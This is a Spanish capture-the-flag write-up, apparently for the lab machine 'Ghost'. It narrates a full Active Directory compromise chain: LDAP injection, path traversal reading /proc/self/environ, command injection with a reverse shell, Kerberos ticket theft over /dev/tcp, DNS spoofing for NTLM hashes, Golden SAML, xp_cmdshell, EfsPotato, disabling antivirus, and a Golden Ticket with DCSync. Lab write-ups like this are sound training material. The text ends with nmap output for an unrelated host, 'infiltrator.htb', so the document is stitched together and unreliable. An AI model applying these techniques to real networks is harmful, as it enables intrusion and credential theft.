    Recordando que en la sección de News habían indicado que el usuariogitea_temp_principal disponía de un token almacenado en LDAP. Por lo cual, lo que realizamos es un script de LDAP Injection para intentar obtener las credenciales válidas del usuario indicado a través de iniciar sesión en la Intranet que vimos anteriormente que era vulnerable a LDAP Injection.

    Al ejecutar el script, verificamos que a través de fuerza bruta, logra encontrar carácter por carácter, lo que parece ser la contraseña del usuario mencionado.

    Accederemos nuevamente a http://gitea.ghost.htb:8008arrow-up-right de autenticarnos con el usuario encontrado para verificar si disponemos del acceso que indicaban en la sección de News.

    Verificamos que hemos logrado acceder correctamente al Gitea con el usuario gitea_temp_principal.

    hashtag
    Ghost Blog Vulnerabilities

    En los repositorios que dispone el usuario actual, verificamos de la existencia de los repositoris blog y intranet.

    Al acceder al repositorioghost-dev/blog se nos indica en el archivoREADME.md lo siguiente.

    circle-info

    En el README.md del repositorio en Gitea, encontramos información clave sobre el Ghost Blog, que utiliza Ghost CMS en un contenedor Docker.

    Mencionan una futura integración con la intranet, donde algunas publicaciones serán destacadas o escaneadas. Para ello, han implementado una clave API compartida entre la intranet y el blog, almacenada como variable de entorno con el nombre DEV_INTRANET_KEY.

    También han modificado el código fuente de Ghost CMS, en particular el archivo posts-public.js, para extraer más información de las publicaciones. Indican que, en el futuro, estos datos deberían almacenarse en una base de datos para evitar pérdidas al recrear los contenedores.

    Además, han dejado expuesta una clave API pública que permite acceso a datos públicos en Ghost API, lo que podría ser útil para obtener más información del sistema.

    Al acceder a revisar el archivo Dockerfile nos encontramos con el siguiente contenido.

    Por otro lado, el archivo docker-compose.yml contiene la siguiente configuración.

    Revisamos el último archivo que disponemos en el repositorio del Blog posts-public.js y nos encontramos con el siguiente resultado.

    hashtag
    Using the Ghost API to retrieve Path Traversal vulnerability information

    El siguiente paso será hacer uso de la API de Ghost, ya que según la información que recopilamos del Gitea, podíamos hacer uso de esta API a través de la API KEY que nos proporcionaron. Verificaremos el funcionamiento de la API a través de la documentación oficial del CMS.

    En la documentación, comprobamos que nos aparece un ejemplo de como utilizar esta API.

    Interceptaremos la solicitud en BurpSuite y verificaremos que si podemos hacer uso de la API correctamente.

    Le pasamos al ChatGPT el contenido del archivo posts-public.js para verificar si tenía alguna vulnerabilidad y nos indicó que existía la posibilidad de realizar un Path Traversal a través del valor extra.

    Trataremos de verificar si podemos revisar el contenido del /etc/passwd del equipo a través de la vulnerabilidad en combinación de la API de Ghost. Verificamos que hemos logrado leer el archivo indicado, por lo tanto, tenemos una vía para enumerar archivos del sistema.

    Si volvemos a mirar el Gitea, recordaremos que se mos menciona que hay una API compartida entre la Intranet y el blog, almacenada como variable de entorno con el nombre de DEV_INTRANET_KEY.

    circle-info

    /proc/self/environ es un archivo especial en sistemas Linux que contiene las variables de entorno del proceso que lo lee. Detalles clave:

    Se encuentra en el sistema de archivos proc (/proc/), que es una interfaz al kernel. self es un enlace simbólico al directorio del proceso que lo accede. Contiene las variables de entorno en formato KEY=VALUE, separadas por \0 (carácter nulo).

    Ejemplo de uso:

    Si ejecutamos:

    cat /proc/self/environ

    Veremos algo como:

    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\0HOME=/root\0USER=root\0...

    (Algunos valores pueden no verse bien porque están separados por \0).

    Posibles riesgos

    Si un proceso con permisos elevados expone su /proc/self/environ, un atacante podría leer variables sensibles como AWS_SECRET_KEY, DATABASE_PASSWORD, etc.

    A través del Path Traversal revisaremos las variables de entorno al directorio del proceso que lo accede. Verificamos que nos muestra el contenido en la respuesta por parte del servidor.

    Desde Cyberchef descodificaremos el contenido recibido y verificamos que logramos obtener la variable de entorno DEV_INTRANET_KEY que mencionaban en Gitea.

    hashtag
    Using the Ghost API to perform command injection and gain access to the Docker machine

    Revisaremos el repositorio de ghost-dev/intranet el cual contiene la siguiente información en el README.md.

    circle-info

    Hemos encontrado información en el archivo README.md que indica que la intranet y el blog están en proceso de integración. Mientras el desarrollo continúa, han expuesto una API de desarrollo en http://intranet.ghost.htb/api-dev, lo que podría ser un punto de interés para futuras pruebas.

    Nos descargaremos el repositorio de Intranet para revisar el contenido del repositorio de Intranet.

    Del archivo comprimido .zip que nos hemos descargado, lo descomprimiremos y accederemos al directorio creado.

    A través del comando tree visualizaremos la estructura de los archivos descargados del repositorio ghost-dev/intranet.eeeeeeeeeeeee

    Realizaremos una búsqueda recursiva en todos los archivos para buscar en dónde hacen uso de la DEV_INTRANET_KEY. Verificamos que se hace uso de esta clave en el archivo dev.rs.

    Este código implementa un guardia de acceso en Rocket, un framework web de Rust. La estructura DevGuard se utiliza para verificar si una solicitud tiene un encabezado específico, X-DEV-INTRANET-KEY, y si el valor de este encabezado coincide con la variable de entorno DEV_INTRANET_KEY.

    Si la clave es correcta, se permite el acceso, y el guardia devuelve un Outcome::Success. Si la clave es incorrecta o no se proporciona, se devuelve un Outcome::Error con un estado de Unauthorized (401).

    Este guardia protege las rutas que requieren una clave de autenticación para acceder.

    Por otro lado, nos encontramos con el siguiente archivo scan.rs que se utiliza para lo siguiente.

    Este código implementa una ruta en Rocket que permite escanear URLs en publicaciones de un blog. La ruta scan recibe una solicitud POST con una URL en formato JSON, utilizando la estructura ScanRequest.

    El flujo de funcionamiento es el siguiente:

    1. Autenticación: Primero, se verifica que la solicitud tenga una clave válida de acceso (DevGuard).

    2. Comando Bash: Luego, se ejecuta un comando en Bash con la URL proporcionada. Este comando intenta llamar a un script (intranet_url_check) que debería verificar si la URL es segura.

    3. Respuesta: Dependiendo del resultado de la ejecución del comando, la función responde con un JSON que contiene:

      • is_safe: Indica si la URL es segura (actualmente siempre es true).

      • temp_command_success: Informa si el comando se ejecutó correctamente.

      • temp_command_stdout y temp_command_stderr: Muestran las salidas estándar y de error del comando ejecutado.

    Este endpoint está diseñado para ser utilizado por el blog para verificar la seguridad de las URLs de los posts.

    Le pasaremos el archivo scan.rs al ChatGPT para verificar si existen algunas vulnerabilidades en el archivo. En el resultado obtenido, verificamos que podemos realizar un Command Injection a través de la entrada de data.url.

    Por lo tanto, lo que probaremos es de acceder al sistema a través de una Reverse Shell, para ello nos ponemos en escucha con nc.

    Ejecutamos el siguiente comando para aprovecharnos de la vulnerabilidad descubierta para enviarnos una Reverse Shell.

    Verificamos que hemos ganado acceso al Docker del sistema que levanta la página de Intranet.

    hashtag
    Shell as Florence.Ramirez

    hashtag
    Information leaked in environment variables (env)

    Al acceder al equipo, verificamos que nos encontramos como usuario root. Verificando las variables de entorno que tenemos, nos encontrams con una variable LDAP_BIND_PASSWORD que parecen ser unas credenciales de LDAP.

    Realizaremos un Password Spraying para verificar si estas credenciales son válidas para algún usuario que disponemos. Verificamos que son las credenciales válidas del usuario intranet_principal.

    Realizaremos una exportación del BloodHound para verificar posibles vectores de ataque para elevar nuestros privilegios, de momento no logramos encontrar nada interesante.

    hashtag
    Session Hijacking via SSH Control Socket

    Volviendo al equipo de Docker, analizamos los archivos y directorios de la raíz. Entre los cuales, nos encontramos con un archivo docker-entrypoint.sh en el cual al analizar el script, vemos que mencionan un directorio en /root/.ssh/controlmaster.

    Accederemos a /root/.ssh/controlmaster y verificaremos que existe de un Socket de SSH del usuario florence.ramirez al equipo dev-workstation.

    circle-info

    Un socket es un punto de comunicación que permite el intercambio de datos entre dos procesos en una red o en un sistema local. Es un concepto clave en la programación de redes y permite que aplicaciones en diferentes máquinas o en la misma máquina se comuniquen entre sí.

    En este caso específico, el archivo florence.ramirez@ghost.htb@dev-workstation:22 parece ser un socket de red. Los sockets se utilizan para establecer conexiones entre clientes y servidores, y se manejan mediante direcciones IP y puertos. Los detalles del nombre del archivo sugieren que es un socket Unix, que generalmente se utiliza para la comunicación entre procesos dentro de la misma máquina.

    hashtag
    ¿Qué hace un socket?

    • Enlace entre procesos: Un socket permite que dos aplicaciones, ya sea en la misma máquina o en máquinas diferentes, se comuniquen a través de la red.

    • Tipos de sockets:

      • Sockets de flujo (TCP): Utilizados para una conexión fiable.

    En este caso, el archivo indica que se trata de un socket Unix que está siendo utilizado por el servicio en el puerto 22, lo que sugiere que se está manejando alguna comunicación interna relacionada con SSH o un servicio similar entre procesos en la máquina.

    Por tanto, este archivo de socket podría estar facilitando una comunicación entre aplicaciones o servicios relacionados con el sistema florence.ramirez@ghost.htb y dev-workstation.

    Al ejecutar el comando ssh -O check, revisamos si existe una conexión SSH multiplexada activa. La respuesta Master running (pid=24) confirma que la conexión principal está activa. Luego, con hostname -I, obtuvimos la dirección IP de la máquina remota, que es 172.18.0.2. Finalmente, al usar id, vimos que el usuario conectado es florence.ramirez (UID 50), y pertenece a los grupos staff e it.

    hashtag
    Reusing a Valid TGT for Lateral Movement

    Al analizar nuevamente las variables de entorno de este nuevo usuario, verificamos que parece haber un Ticket Granting Ticket (TGT) del usuario que disponemos. Este ticket se encuentra almacenado enla variable KRB5CCNAME en el directorio /tmp/krb5cc_50.

    Accederemos al directorio mencionado, y comprobaremos de la existencia del TGT.

    En nuestro equipo atacante, nos pondremos en escucha para recibir el archivo mencionado.

    Desde el equipo víctima, enviaremos el archivo a través del /dev/tcp.

    Verificamos que disponemos de este archivo en nuestro equipo local correctamente.

    Exportaremos el TGT en la variable KRB5CCNAME y verificaremos que el ticket es válido y lo podemos utilizar.

    A través de nxc, validaremos que el TGT es válido y podemos hacer uso de este para autenticarnos como el usuario florence.ramirez sin disponer de sus credenciales.

    hashtag
    Shell as justin.bradley

    hashtag
    DNS Spoofing to Capture NTLMv2 Hash from User Attempting to Access Bitbucket

    Después de investigar en BloodHound para verificar las acciones posibles con el usuario florence.ramirez, no encontramos ninguna vulnerabilidad clara. Sin embargo, recordamos que en la Intranet, el usuario justin.bradley mencionaba que estaba teniendo problemas para acceder a bitbucket.ghost.htb.

    Esto nos llevó a pensar que podríamos revisar si esa entrada está registrada en el servidor DNS del Domain Controller. Si no lo está, una opción sería verificar si tenemos permisos para agregar una nueva entrada y redirigir el subdominio a nuestro servidor web, lo que nos permitiría realizar un ataque de DNS Spoofing.

    A través de la herramienta de bloodyAD realizaremos una consulta de los registros DNS del servidor.

    Dado que el resultado era bastante extenso, lo que realizamos es reenviar la salida del comando a un archvo llamado dnsDump.txt, para posteriormente filtrar por bitbucket en el archivo para comprobar si existía esta entrada. En este caso, verificamos que no hay la existencia de este subdominio en los registros del servidor DNS del DC.

    Mediante la herramienta de bloodyAD lo que probamos es de intentar añadir un registro DNS llamado bitbucket para que apuntáse hacía nuestro servidor web. Comprobamos que se ha podido añadir correctamente el registro, alparecer disponíamos de los permisos necesarios con el usuario florence.ramirez.

    Utilizaremos el responder para levantar los servicios. Después de un tiempo, verificamos que nos llega el hash NTLMv2 del usuario justin.bradley, lo cual nos confirma del éxito del DNS Spoofing.

    Trataremos de crackear el hash obtenido y comprobamos que logramos crackear el hash y obtener las credenciales del usuario mencionado.

    Trataremos de validar a través de nxc de si las credenciales son válidas para el usuario, comprobamos que podemos autenticarnos con dichas credenciales y además tenemos permisos para acceder al DC mediante WinRM dado que tenemos de los permisos necesarios.

    hashtag
    Abusing WinRM -EvilWinRM

    Nos conectaremos al Domain Controller a través de evil-winrm y logramos visualizar la flag de user.txt.

    hashtag
    BloodHound Enumeration

    Revisaremos en BloodHound los Domain Admins existentes en el dominio, en este caso, solamente se muestra al usuarioAdministrator.

    Por otro lado, verificamos que el usuario ADFS_GMSA$ es Kerberoastable. Tratamos de crackear su hash obtenido, pero no logramos crackear el hash para obtener la contraseña del usuario.

    hashtag
    Shell as ADFS_GMSA$

    hashtag
    Abusing ReadGMSAPassword (PowerView.py)

    Revisando nuevamente en BloodHound, comprobamos que el usuario actual justin.bradley dispone de privilegios de ReadGMSAPassword sobre el objeto ADFS_GMSA$.

    circle-info

    Los privilegios de ReadGMSAPassword permiten a usuarios o grupos recuperar la contraseña de una Group Managed Service Account (gMSA) en un entorno de Active Directory. Estos privilegios se asignan para que ciertos servicios, servidores o aplicaciones puedan autenticarse automáticamente utilizando la cuenta sin necesidad de gestión manual de contraseñas. Sin embargo, si son otorgados a usuarios no autorizados, podrían permitir el acceso a servicios críticos o realizar ataques de escalación de privilegios.

    Para recuperar la contraseña GMSA decidimos utillizar la herramienta de PowerView.py, al realizar la consulta de Get-GMSA logramos obtener el hash NTLM del objeto ADFS_GMSA$.

    Validaremos que el hash NTLM del usuario nos sirve para autenticarnos correctamente en el dominio.

    Verificamos que el usuario ADFS_GMSA$ dispone del privilegio de CanPSRemote sobre el Domain Controller, con lo cual, podríamos conectarnos remotamente al DC.

    Nos conectaremos al DC mediante evil-winrm, verificamos el acceso correctamente.

    hashtag
    Shell as mssqlserver

    hashtag
    Active Directory Federation Services (ADFS) - Golden SAML Attack

    Por el nombre del equipo, pensamos que quizás esté relacionado con los Active Directory Federation Services (ADFS).

    circle-info

    Los Active Directory Federation Services (ADFS) son una solución de Microsoft para proporcionar acceso único (SSO) a aplicaciones que no están dentro del dominio local de Active Directory. A través de ADFS, los usuarios pueden acceder a aplicaciones externas o servicios web sin necesidad de ingresar credenciales repetidamente. ADFS funciona emitiendo tokens SAML (Security Assertion Markup Language) que contienen información sobre la identidad del usuario y sus permisos.

    Por lo cual, se nos ocurrió en intentar realizar un Golden SAML Attack.

    circle-info

    El Golden SAML Attack es una técnica utilizada para explotar las vulnerabilidades de autenticación en ADFS. En este ataque, el atacante roba el certificado utilizado para firmar los tokens SAML y lo usa para crear tokens de autenticación falsificados que le permiten acceder a aplicaciones federadas sin necesidad de que el usuario real esté presente. Es una forma muy efectiva de realizar escalada de privilegios o moverse lateralmente dentro de una red comprometida.

    En este caso, con acceso a la cuenta ADFS_GMSA$, que tiene privilegios sobre el Domain Controller (DC), un atacante puede potencialmente usar esta cuenta para generar un Golden SAML Token. Con dicho token, el atacante podría acceder a cualquier servicio federado que dependa de ADFS para autenticación, como si fuera un usuario legítimo.

    Para realizar el Golden SAML Attack, debemos disponer del binario ADFDump.exe, una herramienta muy útil en este tipo de explotación. ADFDump.exe nos permite volcar los datos necesarios desde un Active Directory Federation Services (ADFS) y extraer el certificado privado que se utiliza para firmar los tokens SAML. Este certificado es crucial, ya que es la clave para crear tokens SAML falsificados.

    Una vez obtenemos este certificado, podemos generar un token SAML válido para cualquier usuario dentro del dominio, lo que nos permite suplantar identidades y acceder a servicios federados como si fuéramos usuarios legítimos. Lo mejor de este ataque es que, al no necesitar intervención directa de los usuarios afectados, es muy difícil de detectar.

    El proceso general sería:

    1. Obtención del certificado: Usamos ADFDump.exe para extraer el certificado privado de ADFS, el cual se encuentra en el servidor de ADFS.

    2. Creación del Golden SAML Token: Con el certificado, generamos el token SAML falso que contiene los datos de cualquier usuario, como si fuera un token legítimo.

    3. Acceso a los servicios federados: Utilizamos el token para acceder a aplicaciones federadas que confían en el sistema de ADFS para autenticación.

    Subiremos el ADFSDump.exe al DC y verificaremos que se encuentra correctamente en el equipo.

    Al ejecutar el binario de ADFSDump.exe en el DC podemos observar los siguientes resultados.

    • Extracción de la clave privada desde el almacenamiento de Active Directory:

      • Dominio: ghost.htb

      • Clave privada extraída:

        • FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7

        • 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

    • Lectura de la clave de firma encriptada desde la base de datos: La clave de firma encriptada fue extraída en base64 y tiene el siguiente formato:

    • Lectura de información de confianza de usuario autenticado desde la base de datos Verificamos de la información correspondiente al SAML el cual el EndPoint se encuentra en https://core.ghost.htb:8443/adfs/saml/postResponsearrow-up-right

    Convertiremos el PFX y la Private Key en formato binario a través de los siguientes comandos.

    Instalaremos la herramienta de ADFSpoof paa creación del Golden SAML.

    El comando ejecutado utiliza el script ADFSpoof.py para generar un ticket SAML manipulado, permitiendo la suplantación del usuario administrator en el dominio GHOST. Este ataque se realiza mediante la firma de un Golden Ticket.

    Se especifica un archivo PFX cifrado (EncryptedPfx.bin) que contiene la clave privada de la entidad de seguridad, junto con una clave secreta (dkmKey.bin). El objetivo es el servidor core.ghost.htb, sobre el cual se apunta el ataque SAML.

    El ticket generado contiene el formato transient para el NameID, indicando un identificador temporal para el usuario suplantado. Se definen las aserciones SAML que afirman que el usuario GHOST\administrator tiene privilegios de acceso, permitiendo el acceso al sistema como si fuera ese usuario.

    Este ataque, al manipular los datos SAML, da la capacidad de acceder a servicios protegidos sin necesidad de credenciales reales del usuario.

    Deberemos de tener añadidocore.ghost.htb en nuestro archivo /etc/hosts, esto ya lo realizamos inicialmente en la enumeración de subdominios.

    Interceptaremos la solicitud al acceder a https://core.ghost.htb:8443/adfs/saml/postResponsearrow-up-right, modificaremos la solicitud GET por POST e indicaremos el SAML obtenido en el paso anterior, al enviar la solicitud en BurpSuite, verificamos que parece que ha funcionado correctamente el Golden SAML Attack.

    Haremos click derecho y trataremos de visualizar la respuesta en el navegador.

    Verificaremos que se nos quedará nuestro navegador cargando en la siguiente página web.

    Volvemos al BurpSuite y de la solicitud interceptada, le daremos a la opción de Forward.

    Al acceder nuevamente a nuestro navegador, comprobamos el acceso al Ghost Config Panel, el acceso que dispnemos con el SAML. Verificamos que se trata de una página web en la cual nos permite realizar consultas SQL.

    Esta consulta intenta obtener el nombre de los servidores vinculados a la base de datos, seleccionando la columna SRVNAME de la tabla SYSSERVERS. Es común en SQL Server, y en un contexto de inyección SQL, un atacante podría usarla para obtener información sobre los servidores vinculados y otros detalles de la base de datos.

    Este comando intenta ejecutar código como el usuario sa, que es una cuenta de administrador en el sistema. Se utiliza el EXECUTE AS LOGIN para cambiar el contexto de ejecución al usuario sa, y luego se ejecuta un comando que obtiene el nombre de usuario del sistema con SELECT SYSTEM_USER. Esto puede ser útil para probar si se tienen privilegios elevados o para realizar acciones maliciosas con permisos elevados.

    Este comando tiene como objetivo habilitar la opción xp_cmdshell en SQL Server, lo que permite ejecutar comandos del sistema operativo directamente desde la base de datos. Primero, utiliza EXEC AS LOGIN = 'sa' para cambiar al contexto del usuario sa, que es el administrador del sistema. Luego, habilita las opciones avanzadas (sp_configure "show advanced options", 1) y habilita el uso de xp_cmdshell (sp_configure "xp_cmdshell", 1). Finalmente, ejecuta un comando del sistema operativo usando xp_cmdshell, en este caso, whoami, para obtener el nombre de usuario bajo el cual se está ejecutando el proceso.

    En elresultado obtenido, verificamos que el usuario que ejecuta el comando es NT SERVICE\mssqlserver.

    Dado que podemos ejecutar comandos arbitrarios en el equipo, el siguiente paso será lograr obtener acceso al sistema. Para ello, dispondremos del binario de nc.exe el cual compartiremos a través de un servidor SMB.

    Nos pondremos en escucha con nc para recibir la Reverse Shell.

    Lo primero que debereos realizar, es conectar nuestro servidor SMB al equipo mediante una unidad de red, para ello haremos uso del siguiente comando. Verificaremos que se nos indica un mensaje de The command completed successfully.

    Una vez tengamos nuestro recurso compartido en una unidad de red del equipo, lo que realizaremos es ejecutar el nc.exe que disponemos en nuestro servidor SMB para otorgarnos una Reverse Shell.

    Verificamos que hemos ganado acceso al equipo mediante el usuariomssqlserver.

    hashtag
    Shell as SYSTEM

    hashtag
    Abusing SeImpersonatePrivilege (EfsPotato)

    Revisando el equipo al cual disponemos acceso, verificamos que nos encontramos en un equipo distinto al del DC.

    Revisando los permisos de whoami /priv que dispone el usuario actual, verificamos que disponemos del privilegio SeImpersonatePrivilege el cual nos permitiría abusar de él para convertirnos en NT AUTHORITY\SYSTEM.

    En este caso, lo que realizaremos es abusar del privilegio menciondo a través de EfsPotato.

    circle-info

    EfsPotato es una herramienta de post-explotación que permite obtener privilegios elevados en sistemas Windows utilizando una vulnerabilidad en el servicio de cifrado de archivos (EFS). Aprovecha el hecho de que los procesos con privilegios más bajos pueden manipular ciertos objetos relacionados con el cifrado de archivos, lo que permite a un atacante ejecutar código con privilegios de sistema (SYSTEM). Es útil cuando un atacante tiene acceso a una cuenta con privilegios limitados, pero no cuenta con privilegios de administrador en el sistema.

    En el repositorio del binario de EfsPotato, deberemos de compilar el binario desde el equipo. Para ello, primero revisaremos las versiones de Microsoft.Net que dispone el equipo víctima.

    Nos descargaremos el archivo EfsPotato.cs del proyecto de GitHub.

    Copiaremos este archivo que contiene el código fuente del binario hacia el equipo víctima.

    Compilaremos elEfsPotato.cs y verificaremos que se ha creado el archivo EfsPotato.exe.

    Por otro lado, también nos copiaremos el binario de nc.exe en la ruta de C:\ProgramData.

    Nos pondremos en escucha con nc para recibir la Shell como NT AUTHORITY\SYSTEM.

    Ejecutaremos el EfsPotato.exe para convertirnos en usuario NT AUTHORITY\SYSTEM y ejecutaremos el nc.exe para enviarnos una Reverse Shell, este comando lo ejecutará el usuario NT AUTHORITY\SYSTEM.

    Verificamos que hemos ganado acceso al equipo que nos encontrábamos y nos hemos convertido en usuario NT AUTHORITY\SYSTEM.

    Deshabilitaremos el AV (Antivirus) del equipo a través del siguiente comando.

    hashtag
    Privilege Escalation

    hashtag
    Parent Domain Compromise + SID Injection + Golden Ticket Attack from Linux

    Nos encontramos en el equipo PRIMARY, que forma parte del dominio CORP.GHOST.HTB, con privilegios NT AUTHORITY\SYSTEM. Nuestro objetivo es escalar privilegios dentro del dominio y, para ello, utilizaremos un Golden Ticket Attack.

    Este método nos permitirá generar un ticket Kerberos válido con privilegios administrativos, otorgándonos acceso total en el dominio sin necesidad de credenciales legítimas. A lo largo del proceso, explicaremos cada paso en detalle, desde la obtención de las claves necesarias hasta la generación y uso del ticket.

    En este caso, deberemos de disponer del binario de Mimikatz en nuestro equipo, el cual compartiremos a través de un servidor web.

    Desde el equipo de PRIMARY nos descargaremos el binario de Mimikatz.

    Utilizamos mimikatz para obtener el hash NTLM y el aes256_hmac del usuario krbtgt, el cual este último necesitaremos para realizar el Golden Ticket Attack.

    Obtendremos el Domain SID del dominio CORP.GHOST.HTB a través de BloodHound.

    También obtendremos el SID del grupo Enterprise Admins del dominio GHOST.HTB.

    También podemos elegir otros grupos de alto privilegios que dispongan del permiso de DCSync sobre el dominio GHOST.HTB.

    hashtag
    Exploiting Network Access with Ligolo-ng to Share corp.ghost.htb

    Dado que la red de CORP.GHOST.HTB no la tenemos accesible desde la VPN de HTB, lo que deberemos de realizar es compartir esta red mediante herramientas como ligolo-ng.

    En nuestra Kali, nos montaremos el servidor Proxy a través del siguiente comando.

    Realizaremos las siguiente modificaciones, para habilitar la interfaz de ligolo-ng en nuestro equipo atacante, y de añadir la ruta correspondiente al ip route. Por otro lado, sincronizarmos la hora con el dominio.

    También deberemos de disponer del agent.exe de ligolo-ng el cual compartiremos a través de un servidor web.

    Desde el equipo de PRIMARY nos descargaremos el binario indicado.

    Realizaremos la conexión del agente con el servidor de ligolo-ng.

    Verificaremos en el servidor Proxy de ligolo-ng que se ha detectado una sesión nueva, una vez conectada, ingresaremos el comando start para iniciar la compartición de la red.

    Añadiremos la siguiente entrada en nuestro archivo /etc/hosts.

    hashtag
    Generating Custom Golden Ticket for Administrator in corp.ghost.htb

    En este punto, para realizar el Golden Ticket Attack deberemos de disponer de los siguientes puntos claves.

    • Clave aes256_hmac del usuario krbtgt --> esta clave nos servirá para generar el Golden Ticket.

    • Domain SID --> deberemos de disponer del Domain SID del dominio CORP.GHOST.HTB.

    • Extra SID --> deberemos de disponer del sid de un grupo de alto privilegio del dominio GHOST.HTB.

    En este caso, estamos añadiendo el SID del grupo "Enterprise Admins" del dominio GHOST.HTB, lo que significa que cuando generemos el Golden Ticket en el dominio corp.ghost.htb, también dispondremos de permisos en GHOST.HTB como si fuéramos miembro de "Enterprise Admins".

    hashtag
    ¿Para qué sirve esto?

    • Enterprise Admins es un grupo con privilegios altos en toda la estructura de dominios, lo que permite administrar otros dominios dentro del bosque.

    • Como disponemos una relación de confianza entre corp.ghost.htb y GHOST.HTB, podemos movernos lateralmente y escalar privilegios en GHOST.HTB.

    • Básicamente, con este Golden Ticket, podemosactuar como un Administrador de Dominio en GHOST.HTB, aunque originalmente solo teníamos acceso en CORP.GHOST.HTB.

    Realizaremos el Golden Ticket y dispondremos del archivo Administrator.ccache que utilizaremos para autenticarnos como Administrator en el dominio GHOST.HTB.

    Importaremos el Administrator.ccache en la variable KRB5CCNAME y verificaremos que el Ticket Granting Ticket (TGT) del usuario Administrator es válido.

    hashtag
    Dumping Domain Credentials and NTDS Secrets from DC01 in corp.ghost.htb

    Una vez dispongamos del TGT del usuario Administrator, lo que realizaremos es un DCSync Attack para disponer de todos los hashes NTLM del dominio GHOST.HTB. Entre los hashes obtenidos, el que nos interesa es el del usuario Administrator del dominio GHOST.HTB.

    Verificaremos que podemos autenticarnos mediante PassTheHash con el hash NTLM del usuario Administrator. Una vez verificada la autenticación, nos conectaremos al DC mediante evil-winrm y verificaremos la flag de root.txt.

    ❯ extractPorts allPorts
    
    [*] Extracting information...
    
    	[*] IP Address: 10.10.11.31
    	[*] Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,15220,49666,49688,49690,49692,49723,49740
    
    [*] Ports copied to clipboard
    ❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,15220,49666,49688,49690,49692,49723,49740 10.10.11.31 -A -oN targeted -oX targetedXML
    Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 17:56 CET
    Nmap scan report for dc01.infiltrator.htb (10.10.11.31)
    Host is up (0.067s latency).
    
    PORT      STATE SERVICE       VERSION
    53/tcp    open  domain        Simple DNS Plus
    80/tcp    open  http          Microsoft IIS httpd 10.0
    |_http-server-header: Microsoft-IIS/10.0
    | http-methods: 
    |_  Potentially risky methods: TRACE
    |_http-title: Infiltrator.htb
    88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-17 16:56:21Z)
    135/tcp   open  msrpc         Microsoft Windows RPC
    139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
    389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
    |_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
    | ssl-cert: Subject: 
    | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
    | Not valid before: 2024-08-04T18:48:15
    |_Not valid after:  2099-07-17T18:48:15
    445/tcp   open  microsoft-ds?
    464/tcp   open  kpasswd5?
    593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
    |_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
    | ssl-cert: Subject: 
    | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
    | Not valid before: 2024-08-04T18:48:15
    |_Not valid after:  2099-07-17T18:48:15
    3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
    |_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
    | ssl-cert: Subject: 
    | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
    | Not valid before: 2024-08-04T18:48:15
    |_Not valid after:  2099-07-17T18:48:15
    3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
    | ssl-cert: Subject: 
    | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
    | Not valid before: 2024-08-04T18:48:15
    |_Not valid after:  2099-07-17T18:48:15
    |_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
    3389/tcp  open  ms-wbt-server Microsoft Terminal Services
    |_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
    | rdp-ntlm-info: 
    |   Target_Name: INFILTRATOR
    |   NetBIOS_Domain_Name: INFILTRATOR
    |   NetBIOS_Computer_Name: DC01
    |   DNS_Domain_Name: infiltrator.htb
    |   DNS_Computer_Name: dc01.infiltrator.htb
    |   DNS_Tree_Name: infiltrator.htb
    |   Product_Version: 10.0.17763
    |_  System_Time: 2025-01-17T16:58:59+00:00
    | ssl-cert: Subject: commonName=dc01.infiltrator.htb
    | Not valid before: 2025-01-16T14:59:08
    |_Not valid after:  2025-07-18T14:59:08
    5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
    9389/tcp  open  mc-nmf        .NET Message Framing
    15220/tcp open  unknown
    49666/tcp open  msrpc         Microsoft Windows RPC
    49688/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    49690/tcp open  msrpc         Microsoft Windows RPC
    49692/tcp open  msrpc         Microsoft Windows RPC
    49723/tcp open  msrpc         Microsoft Windows RPC
    49740/tcp open  msrpc         Microsoft Windows RPC
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
    OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
    Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
    No exact OS matches for host (test conditions non-ideal).
    Network Distance: 2 hops
    Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | smb2-security-mode: 
    |   3:1:1: 
    |_    Message signing enabled and required
    | smb2-time: 
    |   date: 2025-01-17T16:59:02
    |_  start_date: N/A
    |_clock-skew: mean: -8s, deviation: 0s, median: -9s
    
    TRACEROUTE (using port 139/tcp)
    HOP RTT      ADDRESS
